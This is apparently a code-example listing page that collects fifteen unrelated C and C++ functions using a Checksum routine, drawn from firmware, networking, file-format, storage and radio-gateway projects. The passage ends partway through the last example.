Ejemplo n.º 1
0
s32 NWC24Config::CheckNwc24Config() const
{
  // 'WcCf' magic
  if (Magic() != 0x57634366)
  {
    ERROR_LOG(WII_IPC_WC24, "Magic mismatch");
    return -14;
  }

  const u32 checksum = CalculateNwc24ConfigChecksum();
  DEBUG_LOG(WII_IPC_WC24, "Checksum: %X", checksum);
  if (Checksum() != checksum)
  {
    ERROR_LOG(WII_IPC_WC24, "Checksum mismatch expected %X and got %X", checksum, Checksum());
    return -14;
  }

  if (IdGen() > 0x1F)
  {
    ERROR_LOG(WII_IPC_WC24, "Id gen error");
    return -14;
  }

  if (Unk() != 8)
    return -27;

  return 0;
}
Ejemplo n.º 2
0
char *ZzipData(char *image_type, char *data, size_t *length, char **extra_headers)
{
    // zzip the data without the compression:
    unsigned int rounded_length = *length;
    char *buffer = malloc(*length+1024);   if (!buffer)                  return NULL;
    char *data2 = malloc(*length+8);     if (!data2) { free(buffer); return NULL; }
    char *key = getenv("ZZIP_KEY");
    char key_index = -1;
    uint32_t plaintextCRC;
    uint32_t plaintextChecksum;
    if (key) {
        key_index = strtoul(key, NULL, 10);
        key += 3;
        plaintextCRC = CRC32(0, data, *length);
        // Blowfish (at least our implementation) requires the input to be on an 8 byte
        // boundary. Otherwise when we decrypt we will get garbled data on the last little bit.
        if (rounded_length % 8 != 0)
            rounded_length += 8 - rounded_length % 8;
        memset(data2, 0, rounded_length);
        memcpy(data2, data, *length);
        plaintextChecksum = Checksum((uint8_t*)data2,rounded_length);
        data = data2;
        BlowfishContext context;
        Blowfish_Init(&context,(uint8_t*)key,strlen(key));
        Blowfish_Encrypt_Buffer(&context, (unsigned long*)data, rounded_length);
    }
    int o = 0;
    o += sprintf(buffer+o,"zzip version 1.0 (1394 %s)\n","1.0");
    o += sprintf(buffer+o,"Compressed Length   = 0x%08X\n",rounded_length); // should really be called "encrypted length" (only on encryption) because it's rounded up.
    o += sprintf(buffer+o,"Uncompressed Length = 0x%08X\n",*length);
    o += sprintf(buffer+o,"Checksum            = 0x%08lX\n",Checksum((uint8_t*)data,rounded_length));
    o += sprintf(buffer+o,"CRC                 = 0x%08lX\n",(unsigned long)CRC32(0, (uint8_t*)data, rounded_length));
    o += sprintf(buffer+o,"Compression         = none\n");
    o += sprintf(buffer+o,"Image Type          = %s\n", image_type);
    if (key) {
        o += sprintf(buffer+o,"Unencrypted Length  = 0x%08X\n",*length); // Should really be called "compressed length" because it's not rounded
        o += sprintf(buffer+o,"Encryption          = blowfish\n");
        o += sprintf(buffer+o,"Encryption Key      = %d\n",key_index);
        o += sprintf(buffer+o,"Plaintext Checksum  = 0x%08X\n",plaintextChecksum);
        o += sprintf(buffer+o,"Plaintext CRC       = 0x%08X\n",plaintextCRC);
    }
    while(extra_headers && *extra_headers)
        o += sprintf(buffer+o, "%s\n", *extra_headers++);
    time_t t = time(&t);
    o += sprintf(buffer+o,"Date                = %s",ctime(&t));
    memcpy(buffer+o+1, data, rounded_length);
    // Boy that was tough.
    free(data2);
    *length = o+1+rounded_length;
    return buffer;
}
Ejemplo n.º 3
0
uint8_t BuildAdpResponse(uint32_t L3AdpAddr, uint32_t L2AdpAddr, uint16_t L2Dst, uint16_t L2Src, uint8_t Vlan, unsigned char *Frame) {
	pL2Hdr pL2 = (pL2Hdr)(Frame);	
	pL2Adjacency pL2Adj = (pL2Adjacency)(Frame+L2_HDR_LEN);
	uint32_t Sum;

	// ADP Packet
	pL2Adj->L3Addr = L3AdpAddr;
	pL2Adj->L2Addr = L2AdpAddr;
	pL2Adj->Age = 0;
	pL2Adj->Vlan = 0;

	// L2 Frame
	pL2->Dst = L2Dst;
	pL2->Src = L2Src;
	pL2->Len = L2_ADJ_LEN+L2_FTR_LEN;
	pL2->NxtHdr = L2_ADJACENCY_RESPONSE_TYPE;
	pL2->Vlan = Vlan;

	Sum = Checksum(Frame);

	cgc_memcpy(Frame+L2_HDR_LEN+L2_ADJ_LEN, (unsigned char *)&Sum, 4);

	return(L2_HDR_LEN+L2_ADJ_LEN+L2_FTR_LEN);

}
Ejemplo n.º 4
0
//----- (000025B8) --------------------------------------------------------
__myevic__ uint32_t hidGetInfoCmd( CMD_T *pCmd )
{
	uint32_t u32StartAddr;
	uint32_t u32ParamLen;

	u32StartAddr = pCmd->u32Arg1;
	u32ParamLen = pCmd->u32Arg2;

	myprintf( "Get Info command - Start Addr: %d    Param Len: %d\n", pCmd->u32Arg1, pCmd->u32Arg2 );

	if ( u32ParamLen )
	{
		dfChecksum = Checksum( (uint8_t *)DataFlash.params, FMC_FLASH_PAGE_SIZE - 4 );

		if ( u32StartAddr + u32ParamLen > FMC_FLASH_PAGE_SIZE )
		{
			u32ParamLen = FMC_FLASH_PAGE_SIZE - u32StartAddr;
		}

		MemCpy( hidData, ((uint8_t *)&DataFlash) + u32StartAddr, u32ParamLen );

		hidDataIndex = u32ParamLen;
		pCmd->u32Signature = u32ParamLen;

		USBD_MemCopy(
			(uint8_t *)(USBD_BUF_BASE + USBD_GET_EP_BUF_ADDR(EP2)),
			hidData,
			EP2_MAX_PKT_SIZE
		);
		USBD_SET_PAYLOAD_LEN( EP2, EP2_MAX_PKT_SIZE );
		hidDataIndex -= EP2_MAX_PKT_SIZE;
	}

	return 0;
}
Ejemplo n.º 5
0
void testChecksumInvalid(void)
{
    const char* card = "378282246310004";
    int got = Checksum(card);
    int want = EINVAL;
    CU_ASSERT_EQUAL(got, want);
}
Ejemplo n.º 6
0
//----- (000025B8) --------------------------------------------------------
__myevic__ uint32_t hidGetInfoCmd( CMD_T *pCmd )
{
	uint32_t u32StartAddr;
	uint32_t u32ParamLen;

	u32StartAddr = pCmd->u32Arg1;
	u32ParamLen = pCmd->u32Arg2;

	myprintf( "Get Info command - Start Addr: %d    Param Len: %d\n", pCmd->u32Arg1, pCmd->u32Arg2 );

	if ( u32ParamLen )
	{
		dfChecksum = Checksum( (uint8_t *)DataFlash.params, FMC_FLASH_PAGE_SIZE - 4 );

		if ( u32StartAddr + u32ParamLen > FMC_FLASH_PAGE_SIZE )
		{
			u32ParamLen = FMC_FLASH_PAGE_SIZE - u32StartAddr;
		}

		MemCpy( hidData, ((uint8_t *)&DataFlash) + u32StartAddr, u32ParamLen );

		hidInDataPtr = hidData;
		hidStartInReport( u32ParamLen );
	}

	return 0;
}
Ejemplo n.º 7
0
void testChecksumValid(void)
{
    int want = 0;
    CU_ASSERT_EQUAL(Checksum("378282246310005"), want);
    CU_ASSERT_EQUAL(Checksum("371449635398431"), want);
    CU_ASSERT_EQUAL(Checksum("5555555555554444"), want);
    CU_ASSERT_EQUAL(Checksum("5105105105105100"), want);
    CU_ASSERT_EQUAL(Checksum("4111111111111111"), want);
    CU_ASSERT_EQUAL(Checksum("4012888888881881"), want);
}
Ejemplo n.º 8
0
int Enviar_Dato (T_Modbus*canal, uint8_t dato)
{
	t_uframe frame_respuesta;

	frame_respuesta.campo_frame.d0 = dato;													// Cargo el dato correspondiente para señalar tipo de respuesta
	frame_respuesta.campo_frame.cmd = canal->comando;										// Vuelvo a cargar el comando recibido
	frame_respuesta.campo_frame.chk = Checksum(frame_respuesta.byte_frame, FRAME_N - 1);	// Calculo y guardo el checksum

	Escribir_Byte_Frame(canal, frame_respuesta.campo_frame.chk);							// Cargo checksum
	Escribir_Byte_Frame(canal, frame_respuesta.campo_frame.d0);								// Cargo dato
	Escribir_Byte_Frame(canal, frame_respuesta.campo_frame.cmd);							// Cargo comando

	canal->envio_activo = SI;																// Pongo en alto el flag de envío activo
	canal->dato_pendiente = SI;																// Señalizo que el canal de envío está libre

	return 0;
}
Ejemplo n.º 9
0
uint8_t BuildL2Frame(uint16_t L2Dst, uint16_t L2Src, uint8_t Vlan, unsigned char *Frame) {
	pL2Hdr pL2 = (pL2Hdr)(Frame);	
	pL3Hdr pL3 = (pL3Hdr)(Frame+L2_HDR_LEN);
	uint32_t Sum;

	pL2->Dst = L2Dst;
	pL2->Src = L2Src;
	pL2->Len = pL3->Len+L3_HDR_LEN+L2_FTR_LEN;
	pL2->NxtHdr = L3_HEADER_TYPE;
	pL2->Vlan = Vlan;

	Sum = Checksum(Frame);

	cgc_memcpy(Frame+L2_HDR_LEN+L3_HDR_LEN+pL3->Len, (unsigned char *)&Sum, 4);

	return(L2_HDR_LEN+pL2->Len);
}
Ejemplo n.º 10
0
/**
Send a single block of data.
A zero sized block terminates the transfer.

@param data		The data to transfer.
@param size		Size of data.

@return The number of transfered, or an error code on failure.
                The number of bytes may be less than \a size.

@pre SendInitialise() must have been successful.
*/
int   QymodemTx::SendBlock(const quint8* data, size_t size)
        {
        quint8 block[1+2+1024+2];	// buffer to hold data in the block
        int retryCount = 10;		// number of attempts to send the block
        bool waitForBlockACK = WaitForBlockACK;

change_mode:

        size_t blockSize = (Use1KBlocks && size>=1024) ? 1024 : 128;
        size_t dataSize = size<blockSize ? size : blockSize;	// size of data to send in block

        if(!dataSize)
                {
                // all bytes sent, so end transfer by sending a single EOT...
                block[0] = EOT;
                blockSize = 1;
                waitForBlockACK = true;
                }
        else
                {
                // make block header...
                block[0] = blockSize==1024 ? STX : SOH;
                block[1] = BlockNumber&0xffu;
                block[2] = (~BlockNumber)&0xffu;

                // copy data for block (padding with EOF)...
                memcpy(block+3,data,dataSize);
                memset(block+3+dataSize,26,blockSize-dataSize);

                // append checksum/crc...
                if(SendCRC)
                        {
                        quint16 crc = CRC16(block+3,blockSize);
                        blockSize += 3;
                        block[blockSize++] = (quint8)(crc>>8);
                        block[blockSize++] = (quint8)crc;
                        }
                else
                        {
                        quint8 sum = Checksum(block+3,blockSize);
                        blockSize += 3;
                        block[blockSize++] = sum;
                        }
                }
Ejemplo n.º 11
0
int Analizar_Frame(T_Modbus*canal, T_Modbus*canal_envio)
{
	t_uframe frame_extraido;

	frame_extraido.campo_frame.chk = Leer_Byte_Frame (canal);				// Leo el byte de CRC
	frame_extraido.campo_frame.d0  = Leer_Byte_Frame (canal);				// Leo el byte de D0
	frame_extraido.campo_frame.d1  = Leer_Byte_Frame (canal);				// Leo el byte de D1
	frame_extraido.campo_frame.cmd = Leer_Byte_Frame (canal);				// Leo el byte de CMD

	if(!(Checksum(frame_extraido.byte_frame, FRAME_N)))						// Pregunto si el checksum de la secuencia es válido
	{																		// En caso que el frame sea correcto
		if(!Validar_Cmd_Recibido(frame_extraido.campo_frame.cmd))			// Pregunto si el comando es válido
		{																	// En caso verdadero
			terminal.Estado_Comando = COMANDO_PENDIENTE;					// Levanto flag de comando pendiente
			
			////////////////////////////////////////////////////////////////////////////////////
			////////////////////////////////////////////////////////////////////////////////////
			////////////			ENVIO SOBRE EL CANAL DE TRANSMISIÓN				////////////			
			////////////////////////////////////////////////////////////////////////////////////
			////////////////////////////////////////////////////////////////////////////////////

			canal_envio->comando = (t_Byte_Cmd) frame_extraido.campo_frame.cmd;				// Copio el frame recibido al canal
			Cargar_Respuesta(canal_envio, DATO_RECEPCION_OK);						// Cargo la respuesta para que sea enviada
			
			
			return ANALIZAR_FRAME_PAQUETE_OK;								// Señalizo que recibí OK
		}
		else																// En caso que el comando no sea válido
		{																	//
			Cargar_Respuesta(canal, DATO_ERROR_DES);						// Error de comando desconocido
			return ANALIZAR_FRAME_ERROR_DES;								// Señalizo el error
		}
	}
	else
	{
		Cargar_Respuesta(canal, DATO_ERROR_CHK);
		return ANALIZAR_FRAME_ERROR_CHECKSUM;
	}

}
Ejemplo n.º 12
0
u_int32_t u2Anon_UNIFIED2_PACKET(void *dptr,u_int32_t length,u_int8_t anon_level)
{
    DAQ_PktHdr_t fDAQPktHdr;
    Packet tPkt = {0};
    Serial_Unified2Packet *cPkt = NULL;

    u_int32_t link_layer_type = 0;

    struct in_addr v4addr = {0};
    sfip_t v6addr;

    u_int32_t payload_length = 0;

    char *wPtr = NULL;


    if((dptr == NULL) ||
       (length == 0))
    {
	/* XXX */
	return 1;
    }

    memset(&fDAQPktHdr,'\0',sizeof(DAQ_PktHdr_t));
    
    /* NOTE: -elz
       At one point people are probably gonna be 
       able to provide "rules" to mask certain net etc..
       but for now we go straight to the point 
       and set it to loopback 
    */
    v4addr.s_addr = htonl(INADDR_LOOPBACK);

    memset(&v6addr,'\0',sizeof(sfip_t));
    v6addr.ip.u6_addr32[2] = 0xffff0000;
    v6addr.ip.u6_addr32[3] = htonl(INADDR_LOOPBACK);
    
    cPkt = (Serial_Unified2Packet *)dptr;
    
    link_layer_type = ntohl(cPkt->linktype);
    
    fDAQPktHdr.caplen = ntohl(cPkt->packet_length);
    fDAQPktHdr.pktlen = ntohl(cPkt->packet_length);
    
    
    if(dInstr[link_layer_type].decodePtr != NULL)
    {
	/* NOTE: -elz 
	   it would be nice to know about decoding errors...mabey we could
	   enchance decode's function a bit for our context so we do not get
	   bad surprise down the line ...
	*/
	dInstr[link_layer_type].decodePtr(&tPkt,&fDAQPktHdr,cPkt->packet_data);
    }
    else
    {
	printf("ERROR: [%s()]: Can't decode Link layer type [%u] , comming from packet event \n",
	       __FUNCTION__,
	       link_layer_type);
	return 1;
    }

    
    if( (anon_level & ANON_LINK_LAYER) && 
	(tPkt.eh != NULL))
    {
	memcpy(&tPkt.eh->ether_dst,&d_src_eth,(sizeof(u_int8_t) * 6));
	memcpy(&tPkt.eh->ether_src,&d_dst_eth,(sizeof(u_int8_t) * 6));
    }
    
    
    if((anon_level & ANON_PACKET))
    {
	/* check anon level ...etc */
	/* We check if we have a portscan first... */
	if(( ((tPkt.iph == NULL) && (tPkt.inner_iph != NULL)) &&
	     ((tPkt.ip4h == NULL)) && (tPkt.inner_iph != NULL)))
	{
	    
	    if((tPkt.inner_iph->ip_proto == 255))
	    {
		memcpy((struct in_addr *)&tPkt.inner_iph->ip_src,&v4addr,sizeof(struct in_addr));
		memcpy((struct in_addr *)&tPkt.inner_iph->ip_dst,&v4addr,sizeof(struct in_addr));
		
		
		payload_length = fDAQPktHdr.caplen - ((char *)tPkt.inner_iph - (char *)tPkt.pkt);
		wPtr =(char *)(tPkt.inner_iph);
		memset(wPtr,'\0',(sizeof(char) * payload_length));
		return 0;
	    }
	}
	
	
	if(tPkt.ip4h != NULL)
	{
	    memcpy((struct sfip_t *)&tPkt.ip4h->ip_src,&v6addr,sizeof(sfip_t));
	    memcpy((struct sfip_t *)&tPkt.ip4h->ip_dst,&v6addr,sizeof(sfip_t));
	    
	}
	
	if(tPkt.ip6h != NULL)
	{
	    memcpy((struct sfip_t *)&tPkt.ip6h->ip_src,&v6addr,sizeof(sfip_t));
	    memcpy((struct sfip_t *)&tPkt.ip6h->ip_dst,&v6addr,sizeof(sfip_t));
	}
	
	if(tPkt.iph != NULL)
	{
	    memcpy((struct in_addr *)&tPkt.iph->ip_src,&v4addr,sizeof(struct in_addr));
	    memcpy((struct in_addr *)&tPkt.iph->ip_dst,&v4addr,sizeof(struct in_addr));
	}
	
    	if(tPkt.ip4h != NULL)
	{
	    memcpy((struct sfip_t *)&tPkt.ip4h->ip_src,&v6addr,sizeof(sfip_t));
	    memcpy((struct sfip_t *)&tPkt.ip4h->ip_dst,&v6addr,sizeof(sfip_t));
	    
	}

	if( (tPkt.data != NULL) && 
	    (tPkt.pkt != NULL))
	{
	    if( (payload_length =  fDAQPktHdr.caplen - (tPkt.data - tPkt.pkt)) > 0)
	    {
		wPtr = (char *)tPkt.data;
		memset(wPtr,'\0',payload_length);
	    }
	    
	    /* Re-generate checksum for the packet */
	    if( (Checksum(&tPkt,fDAQPktHdr.pktlen)))
	    {
		/* XXX */
		return 1;
	    }
	}
    }
    
    return 0;
}
Ejemplo n.º 13
0
/*
 * Write data in buffer to disk cache file.
 *
 * This thread is a consumer for the double buffer thread.
 * A conumser must wait until the buffer is not empty, retrieve its
 * data, and then notify the producer that the buffer is not full.
 */
int
DiskCacheWrite(
	FileInfo_t *file,
	int fd)
{
	CircularBuffer_t *writer;
	boolean_t checksum;	/* use checksum enabled on file */
	boolean_t multivolume;	/* staging a multivolume file */
	boolean_t verify;	/* staging a file for data verification */
	sam_ioctl_swrite_t swrite;
	int position;		/* block position for debugging */
	char *out;		/* output buffer pointer */
	int nbytes;
	int nwritten;

/* FIXME comments */
	int copy;
	boolean_t closeDiskcache;
	/* LINTED variable unused in function */
	time_t endTime;
	/* LINTED variable unused in function */
	int secs;

	/* Wait for file to stage. */
	ThreadStateWait(&IoThread->io_writeReady);

	writer = IoThread->io_writer;

	copy = file->copy;

	memset(&swrite, 0, sizeof (sam_ioctl_swrite_t));

	if (GET_FLAG(file->flags, FI_DCACHE)) {
		swrite.offset += file->write_off;
	}

	checksum = ifChecksum(file);
	verify = ifVerify(file);
	multivolume = ifMultiVolume(file);

	dataToWrite = IoThread->io_size;

	cancel = B_FALSE;
	readErrno = 0;
	position = 0;		/* block written to disk for file */

	Trace(TR_FILES, "Write disk inode: %d.%d offset: %lld len: %lld",
	    file->id.ino, file->id.gen, swrite.offset, dataToWrite);

	while (DATA_TO_WRITE()) {

		/*
		 * Wait until the write buffer is not empty.
		 * Retrieve data at 'out' position.
		 * If archive read thread found an error during a read
		 * from media, positioning failure or tar header validation
		 * the error flag will be set in io thead control structure.
		 */
		out = CircularIoAvail(writer, &nbytes, &readErrno);
		if (readErrno != 0) {
			SetErrno = readErrno;
			Trace(TR_ERR,
			    "Error in writer buffer, slot:%d readErrno:%d",
			    CircularIoSlot(IoThread->io_writer, out),
			    readErrno);
			break;
		}

		/* If not a full block of data left to write. */
		if (dataToWrite < nbytes) {
			nbytes = dataToWrite;
		}

		Trace(TR_DEBUG,
		    "Write block: %d buf: %d [0x%x] offset: %lld len: %d",
		    position, CircularIoSlot(IoThread->io_writer, out),
		    (int)out, swrite.offset, nbytes);

		swrite.buf.ptr = out;
		swrite.nbyte = nbytes;

		/* Accumulate checksum value. */
		if (checksum == B_TRUE) {
			Checksum(out, nbytes);
		}

		/* Write data block to disk cache. */
		if (verify == B_FALSE) {
			nwritten = ioctl(fd, F_SWRITE, &swrite);

			if (nwritten != nbytes) {
				Trace(TR_ERR,
				    "Write error: %d fd: %d nbyte: %d "
				    "offset: %lld",
				    errno, fd, swrite.nbyte, swrite.offset);
				/*
				 * Cancel stage request, this will be picked
				 * up in the reader and doublebuffer threads.
				 */
				Trace(TR_MISC,
				    "Cancelled(write error) inode: %d.%d",
				    file->id.ino, file->id.gen);
				SET_FLAG(IoThread->io_flags, IO_cancel);

				if (errno == ECANCELED) {
					cancel = B_TRUE;
					SET_FLAG(file->flags, FI_CANCEL);
				} else {
					readErrno = errno;
					SET_FLAG(file->flags, FI_WRITE_ERROR);
				}
			}
		}

		/*
		 * Wait for checksum thread to complete on the data block
		 * before allowing the double buffer thread to reuse
		 * the 'out' buffer.
		 */
		if (checksum == B_TRUE && nbytes > 0) {
			ChecksumWait();
		}

		/*
		 * Write complete.  Advance write buffer's 'out'
		 * pointer and notify double buffer thread that the buffer
		 * is not empty.
		 */
		CircularIoAdvanceOut(writer);

		file->stage_size += nbytes;
		swrite.offset += nbytes;
		dataToWrite -= nbytes;
		ASSERT_WAIT_FOR_DBX(dataToWrite >= 0);

		position++;

		Trace(TR_DEBUG, "Wrote %d bytes left: %lld (%d/%d)",
		    nbytes, dataToWrite, readErrno, cancel);
	}

	Trace(TR_FILES, "Write disk complete inode: %d.%d",
	    file->id.ino, file->id.gen);

	/*
	 * If no error AND cancel request, close disk cache file.
	 * If no error AND no more VSNs,   close disk cache file.
	 * If error OR more VSNs to stage, save disk cache information.
	 */

	/*
	 * There are a number of scenarios under which to determine
	 * whether to close the disk cache file or leave it open for
	 * a future request.
	 *
	 * If no error AND cancel,		close disk cache file.
	 * If no error AND not multivolume,	close disk cache file.
	 * If no error AND multivolume AND stage_n, close disk cache file.
	 * If error OR more VSNs to stage, 	save disk cache information.
	 */

	/* If no error AND cancel, close disk cache file. */
	if (readErrno == 0 && cancel == B_TRUE) {
		closeDiskcache = B_TRUE;

	/* If no error AND not multivolume, close disk cache file. */
	} else if (readErrno == 0 && multivolume == 0) {
		closeDiskcache = B_TRUE;

	/* If no error AND multivolume AND stage_n, close disk cache file. */
	} else if (readErrno == 0 && multivolume != 0 &&
	    GET_FLAG(file->flags, FI_STAGE_NEVER) &&
	    file->stage_size == file->len) {

		closeDiskcache = B_TRUE;

	/* Else, an error OR more VSNs to stage, save disk cache information. */
	} else {
		/*
		 * If no device available or interrupted system call,
		 * close disk cache.
		 */
		if (readErrno == ENODEV || readErrno == EINTR) {
			closeDiskcache = B_TRUE;
		} else {
			closeDiskcache = B_FALSE;
		}
	}

	/*
	 * Checksumming may have found an error.
	 */
	if (closeDiskcache == B_TRUE && checksum == B_TRUE) {
		/*
		 * Do not check for checksum error if request was
		 * cancelled or an I/O error occurred.
		 */
		if (cancel == B_FALSE && readErrno == 0) {

			readErrno = ChecksumCompare(fd, &file->id);

			if (readErrno != 0) {
				closeDiskcache = B_FALSE;
				swrite.offset = 0;

				if (verify == B_TRUE) {
					SetErrno = 0;	/* set for trace */
					Trace(TR_ERR, "Unable to verify "
					    "inode: %d.%d copy: %d errno: %d",
					    file->id.ino, file->id.gen,
					    copy + 1, readErrno);

					closeDiskcache = B_TRUE;
				}
			} else {
				if (verify == B_TRUE) {
					setVerify(file);
				}
			}

		} else {
			if (verify == B_TRUE) {
				SetErrno = 0;	/* set for trace */
				Trace(TR_ERR, "Unable to verify "
				    "inode: %d.%d copy: %d errno: %d",
				    file->id.ino, file->id.gen,
				    copy + 1, errno);
			}
		}
		checksum = B_FALSE;
	}

	if (closeDiskcache == B_TRUE) {
		(void) close(fd);
		CLEAR_FLAG(file->flags, FI_DCACHE);
		NumOpenFiles--;

	} else {
		SetFileError(file, fd, swrite.offset, readErrno);
		if (checksum == B_TRUE && multivolume != 0) {
			file->csum_val = ChecksumGetVal();
		}
	}

	/* Done writing staged file. */
	ThreadStatePost(&IoThread->io_writeDone);

	return (file->error);
}
Ejemplo n.º 14
0
/*	ReadWave(fr, typePtr, npntsPtr, waveDataPtrPtr)

	Reads the wave file and prints some information about it.
	
	Returns to the calling routine the wave's type, number of points, and the
	wave data. The calling routine must free *waveDataPtrPtr if it is
	not null.
	
	Returns 0 or an error code.
	
	This routine is written such that it could be used to read waves
	from an Igor packed experiment file as well as from a standalone
	Igor binary wave file. In order to achieve this, we must not assume
	that the wave is at the start of the file. We do assume that, on entry
	to this routine, the file position is at the start of the wave.
*/
static int
ReadWave(CP_FILE_REF fr, int* typePtr, long* npntsPtr, void** waveDataPtrPtr)
{
	unsigned long startFilePos;
	short version;
	short check;
	int binHeaderSize, waveHeaderSize, checkSumSize;
	unsigned long waveDataSize;
	unsigned long numBytesRead;
	int needToReorderBytes;
	char buffer[512];
	unsigned long modDate;
	long wfmSize;
	long npnts;
	int type;
	char name[64];
	int err;
	
	*waveDataPtrPtr = NULL;
	*typePtr = 0;
	*npntsPtr = 0;
	
	if (err = CPGetFilePosition(fr, &startFilePos))
		return err;
	
	// Read the file version field.
	if (err = CPReadFile(fr, 2, &version, &numBytesRead)) {
		printf("Error %d occurred while reading the file version.\n", err);
		return err;
	}
	
	/*	Reorder version field bytes if necessary.
		If the low order byte of the version field of the BinHeader structure
		is zero then the file is from a platform that uses different byte-ordering
		and therefore all data will need to be reordered.
	*/
	needToReorderBytes = (version & 0xFF) == 0;
	if (needToReorderBytes)
		ReorderShort(&version);
		
	// Check the version.
	switch(version) {
		case 1:
			printf("This is a version 1 file.\n");
			binHeaderSize = sizeof(BinHeader1);
			waveHeaderSize = sizeof(WaveHeader2);
			checkSumSize = binHeaderSize + waveHeaderSize;
			break;
		case 2:
			printf("This is a version 2 file.\n");
			binHeaderSize = sizeof(BinHeader2);
			waveHeaderSize = sizeof(WaveHeader2);
			checkSumSize = binHeaderSize + waveHeaderSize;
			break;
		case 3:
			printf("This is a version 3 file.\n");
			binHeaderSize = sizeof(BinHeader3);
			waveHeaderSize = sizeof(WaveHeader2);
			checkSumSize = binHeaderSize + waveHeaderSize;
			break;
		case 5:
			printf("This is a version 5 file.\n");
			binHeaderSize = sizeof(BinHeader5);
			waveHeaderSize = sizeof(WaveHeader5);
			checkSumSize = binHeaderSize + waveHeaderSize - 4;	// Version 5 checksum does not include the wData field.
			break;
		default:
			printf("This does not appear to be a valid Igor binary wave file. The version field = %d.\n", version);
			return -1;
			break;	
	}
	
	// Load the BinHeader and the WaveHeader into memory.
	CPSetFilePosition(fr, startFilePos, -1);
	if (err = CPReadFile(fr, binHeaderSize+waveHeaderSize, buffer, &numBytesRead)) {
		printf("Error %d occurred while reading the file headers.\n", err);
		return err;
	}
	
	// Check the checksum.	
	check = Checksum((short*)buffer, needToReorderBytes, 0, checkSumSize);
	if (check != 0) {
		printf("Error in checksum - should be 0, is %d.\n", check);
		printf("This does not appear to be a valid Igor binary wave file.\n");
		return -1;
	}
	
	// Do byte reordering if the file is from another platform.	
	if (needToReorderBytes) {
		switch(version) {
			case 1:
				ReorderBinHeader1((BinHeader1*)buffer);
				break;
			case 2:
				ReorderBinHeader2((BinHeader2*)buffer);
				break;
			case 3:
				ReorderBinHeader3((BinHeader3*)buffer);
				break;
			case 5:
				ReorderBinHeader5((BinHeader5*)buffer);
				break;
		}
		switch(version) {
			case 1:				// Version 1 and 2 files use WaveHeader2.
			case 2:
			case 3:
				ReorderWaveHeader2((WaveHeader2*)(buffer+binHeaderSize));
				break;
			case 5:
				ReorderWaveHeader5((WaveHeader5*)(buffer+binHeaderSize));
				break;
		}
	}
	
	// Read some of the BinHeader fields.
	switch(version) {
		case 1:
			{
				BinHeader1* b1;
				b1 = (BinHeader1*)buffer;
				wfmSize = b1->wfmSize;
			}
			break;
			
		case 2:
			{
				BinHeader2* b2;
				b2 = (BinHeader2*)buffer;
				wfmSize = b2->wfmSize;
			}
			break;
			
		case 3:
			{
				BinHeader3* b3;
				b3 = (BinHeader3*)buffer;
				wfmSize = b3->wfmSize;
			}
			break;
			
		case 5:
			{
				BinHeader5* b5;
				b5 = (BinHeader5*)buffer;
				wfmSize = b5->wfmSize;
			}
			break;
	}
	
	// Read some of the WaveHeader fields.
	switch(version) {
		case 1:
		case 2:
		case 3:
			{
				WaveHeader2* w2;
				w2 = (WaveHeader2*)(buffer+binHeaderSize);
				modDate = w2->modDate;
				npnts = w2->npnts;
				type = w2->type;
				strcpy(name, w2->bname);
			}
			break;
			
		case 5:
			{
				WaveHeader5* w5;
				w5 = (WaveHeader5*)(buffer+binHeaderSize);
				modDate = w5->modDate;
				npnts = w5->npnts;
				type = w5->type;
				strcpy(name, w5->bname);
			}
			break;
	}
	printf("Wave name=%s, npnts=%ld, type=0x%x, wfmSize=%ld.\n", name, npnts, type, wfmSize);
	
	// Return information to the calling routine.
	*typePtr = type;
	*npntsPtr = npnts;
	
	// Determine the number of bytes of wave data in the file.
	switch(version) {
		case 1:
		case 2:
		case 3:
			waveDataSize = wfmSize - offsetof(WaveHeader2, wData) - 16;
			break;
		case 5:
			waveDataSize = wfmSize - offsetof(WaveHeader5, wData);
			break;
	}
	
	// Position the file pointer to the start of the wData field.
	switch(version) {
		case 1:
		case 2:
		case 3:
			CPSetFilePosition(fr, startFilePos+binHeaderSize+waveHeaderSize-16, -1);	// 16 = size of wData field in WaveHeader2 structure.
			break;
		case 5:
			CPSetFilePosition(fr, startFilePos+binHeaderSize+waveHeaderSize-4, -1);		// 4 = size of wData field in WaveHeader2 structure.
			break;
	}
	
	if (type == 0) {
		// For simplicity, we don't load text wave data in this example program.
		printf("This is a text wave.\n");
		return 0;
	}

	// Load the data and allocates memory to store it.
	if (err = LoadNumericWaveData(fr, type, npnts, waveDataSize, needToReorderBytes, waveDataPtrPtr))
		return err;
	
	return 0;
}
Ejemplo n.º 15
0
int main(int argc, char **argv)
{
	char spin[] = "-\\|/", SequenceCount = 'a';
	char Message[65], Data[100], upload_exclude[200], Command[200], Telemetry[100], *Bracket, *Start;
	int Bytes, Sentence_Count, sc = 0;
	double Latitude, Longitude;
	unsigned int Altitude;
	uint8_t opmode, flags1, flags2, old_opmode = 0, old_flags1 = 0, old_flags2 = 0;
	const char *inifile = "gateway.ini"; // FIXME
	float node_lat, node_lon;
	time_t next_beacon;
	bool bmp085, xap;

	/* load configuration */
	ini_gets("node", "id", "", node_id, sizeof(node_id), inifile);
	node_lat = ini_getf("node", "lat", 999, inifile);
	node_lon = ini_getf("node", "lon", 999, inifile);
	bmp085 = ini_getbool("sensors", "bmp085", false, inifile);
	xap = ini_getbool("xap", "enabled", false, inifile);
	ini_gets("upload", "exclude", "", upload_exclude, sizeof(upload_exclude), inifile);
	
	if (strlen(node_id) == 0) {
		puts("Node ID has not been specified");
		exit(1);
	}

	printf("Upload exclude list is \"%s\"\n", upload_exclude);

	if (xap) {
		xapInit();
	}

	if (node_lat < 900 && node_lon < 900) {
		/* put the gateway on the map */
		sprintf(Message,"0aL%f,%f:%s[%s]", node_lat, node_lon, GIT_VER, node_id);
	} else {
		sprintf(Message,"0a:%s[%s]", GIT_VER, node_id);
	}

	UploadPacket(Message,0);
	if (xap) {
		xapSendPacket(Message, 0);
	}

	if (bmp085) {
		next_beacon = time(NULL) + 10;
		printf("Initialising BMP085\n");
		bmp085_Calibration();
	}

	printf("Initialising RFM69\n");

	setupRFM69();
	
	printf("Starting main loop ...\n");

	Sentence_Count = 0;

	while (1)
	{
		if (rfm69_available())
		{
			Bytes = rfmM69_recv(Message, sizeof(Message));
			printf ("%s Data available - %d bytes\n", Now(), Bytes);
			printf ("rx: %s|%d\n", Message,RFM69_lastRssi());

			if (Bytes > 0)
			{
				if (!excluded(Message, upload_exclude)) {
					// UKHASNet upload
					UploadPacket(Message, RFM69_lastRssi());
				}

				if (xap) {
					// xAP broadcast
					xapSendPacket(Message, RFM69_lastRssi());
				}
#if 0
				// Habitat upload
				// 3dL51.95023,-2.54445,155[DA1]
